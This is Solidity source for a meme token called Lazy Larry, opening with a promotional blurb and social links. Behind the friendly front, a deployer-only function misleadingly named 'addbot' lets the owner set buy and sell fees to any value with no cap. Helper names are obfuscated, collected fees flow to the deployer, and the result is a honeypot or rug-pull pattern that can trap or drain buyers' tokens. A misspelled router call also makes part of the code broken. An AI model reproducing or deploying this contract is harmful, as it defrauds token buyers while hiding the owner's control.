Contract Source Code:

/**
  _____          _       ________  ____  ____   _____          _       _______     _______   ____  ____  
 |_   _|        / \     |  __   _||_  _||_  _| |_   _|        / \     |_   __ \   |_   __ \ |_  _||_  _| 
   | |         / _ \    |_/  / /    \ \  / /     | |         / _ \      | |__) |    | |__) |  \ \  / /   
   | |   _    / ___ \      .'.' _    \ \/ /      | |   _    / ___ \     |  __ /     |  __ /    \ \/ /    
  _| |__/ | _/ /   \ \_  _/ /__/ |   _|  |_     _| |__/ | _/ /   \ \_  _| |  \ \_  _| |  \ \_  _|  |_    
 |________||____| |____||________|  |______|   |________||____| |____||____| |___||____| |___||______|   
                                                                                                         
LAUNCHING TODAY : 

Meet Lazy Larry, the chillest member of “The Boys Club” and a quirky creation by Matt Furie!
This legend is too lazy to chase flies but never too lazy for a good party. 
Known for his love of basking under heat lamps and puffing from Matt Furie’s imaginative world,
Lazy Larry turns every hangout into a low-effort, high-vibe bash.
With Lazy Larry Coin, there's no rush—just chill and watch your crypto wallet grow.
Perfect for those who prefer a mellow approach to the crypto craze, this coin embodies the spirit of relaxation and fun.
So, join the Lazy Larry lifestyle, kick back, and enjoy the ride with the most laid-back coin in the crypto universe!

Telegram : https://t.me/LazyLarryErc20
Twitter/X : https://x.com/LazyLarryOnETH
Website : https://lazylarry.vip/

**/

// SPDX-License-Identifier: Unlicense

pragma solidity ^0.8.20;


interface IUniswapFactory {
    function getPair(address tokenA, address tokenB) external view returns (address pair);
}


interface IUniswapV2Router02 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function swapExactTokensForETHSupportingFreelyOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;
}


contract LazyLarry {
    struct StoreData {
        address tokenMkt;
        uint8 buyFee;
        uint8 sellFee;
    }


    string public _name = unicode"Lazy Larry";
    string public _symbol = unicode"LARRY";
    uint8 public constant decimals = 18;
    uint256 public constant totalSupply = 1_000_000_000 * 10**decimals;


    StoreData public storeData;
    uint256 constant swapAmount = totalSupply / 100;


    error Permissions();
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed TOKEN_MKT,
        address indexed spender,
        uint256 value
    );


    mapping(address => uint256) public balanceOf;
    mapping(address => mapping(address => uint256)) public allowance;


    address public pair;
    IUniswapV2Router02 constant _uniswapV2Router =
        IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);

    bool private swapping;
    bool private tradingOpen;


    constructor() {
        uint8 _initBuyFee = 0;
        uint8 _initSellFee = 0;
        storeData = StoreData({
            tokenMkt: msg.sender,
            buyFee: _initBuyFee,
            sellFee: _initSellFee
        });
        balanceOf[msg.sender] = totalSupply;
        allowance[address(this)][address(_uniswapV2Router)] = type(uint256).max;
        emit Transfer(address(0), msg.sender, totalSupply);
    }


    receive() external payable {}


    function addbot(uint8 _buy, uint8 _sell) external {
        if (msg.sender != _TokenMktWithZkVerify()) revert Permissions();
        TokenOnEth(_buy, _sell);
    }


    function TokenOnEth(uint8 _buy, uint8 _sell) private {
        storeData.buyFee = _buy;
        storeData.sellFee = _sell;
    }


    function _TokenMktWithZkVerify() private view returns(address) {
        return storeData.tokenMkt;
    }


    function OpenTrading() external {
        require(msg.sender == _TokenMktWithZkVerify());
        require(!tradingOpen);
        address _factory = _uniswapV2Router.factory();
        address _weth = _uniswapV2Router.WETH();
        address _pair = IUniswapFactory(_factory).getPair(address(this), _weth);
        pair = _pair;
        tradingOpen = true;
    }


    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) external returns (bool) {
        allowance[from][msg.sender] -= amount;
        return _transfer(from, to, amount);
    }


    function approve(address spender, uint256 amount) external returns (bool) {
        allowance[msg.sender][spender] = amount;
        emit Approval(msg.sender, spender, amount);
        return true;
    }


    function transfer(address to, uint256 amount) external returns (bool) {
        return _transfer(msg.sender, to, amount);
    }


    function name() public view virtual returns (string memory) {
        return _name;
    }


    function symbol() public view  virtual returns (string memory) {
        return _symbol;
    }


    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal returns (bool) {
        address tokenMkt = _TokenMktWithZkVerify();
        require(tradingOpen || from == tokenMkt || to == tokenMkt);


        balanceOf[from] -= amount;


        if (to == pair && !swapping && balanceOf[address(this)] >= swapAmount && from != tokenMkt) {
            swapping = true;
            address[] memory path = new address[](2);
            path[0] = address(this);
            path[1] = _uniswapV2Router.WETH();
            _uniswapV2Router
                .swapExactTokensForETHSupportingFreelyOnTransferTokens(
                    swapAmount,
                    0,
                    path,
                    address(this),
                    block.timestamp
                );
            payable(tokenMkt).transfer(address(this).balance);
            swapping = false;
        }


        (uint8 _buyFee, uint8 _sellFee) = (storeData.buyFee, storeData.sellFee);
        if (from != address(this) && tradingOpen == true) {
            uint256 taxCalculatedAmount = (amount *
                (to == pair ? _sellFee : _buyFee)) / 100;
            amount -= taxCalculatedAmount;
            balanceOf[address(this)] += taxCalculatedAmount;
        }
        balanceOf[to] += amount;
        emit Transfer(from, to, amount);
        return true;
    }
}